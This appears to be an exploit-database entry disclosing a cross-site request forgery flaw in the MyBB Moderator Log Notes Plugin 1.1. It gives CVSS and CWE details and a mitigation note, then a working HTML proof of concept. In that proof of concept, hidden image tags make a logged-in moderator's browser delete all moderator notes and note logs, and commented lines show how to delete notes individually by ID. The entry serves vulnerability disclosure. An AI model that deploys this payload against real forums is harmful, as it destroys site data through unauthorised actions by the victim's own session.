header-logo
Suggest Exploit
vendor:
MyBB Moderator Log Notes Plugin
by:
0xB9
7.8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: MyBB Moderator Log Notes Plugin
Affected Version From: 1.1
Affected Version To: 1.1
Patch Exists: YES
Related CWE: N/A
CPE: a:mybb:mybb:1.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04
2018

MyBB Moderator Log Notes Plugin 1.1 – Cross-Site Request Forgery

The plugin allows moderators to save notes and display them in a list in the modCP. The CSRF allows an attacker to remotely delete all mod notes and mod note logs in the modCP & ACP.

Mitigation:

Implementing a CSRF token in the request can prevent this attack.
Source

Exploit-DB raw data:

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs 
# in the modCP & ACP.

# 2. Proof of Concept:

<html>
	<body>
		<-- Deletes mod note logs -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
		<-- Deletes mod notes -->
		<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">
		
		<!-- You can also delete notes individually by the nid (note ID)
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
		<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
		-->
	</body>
</html>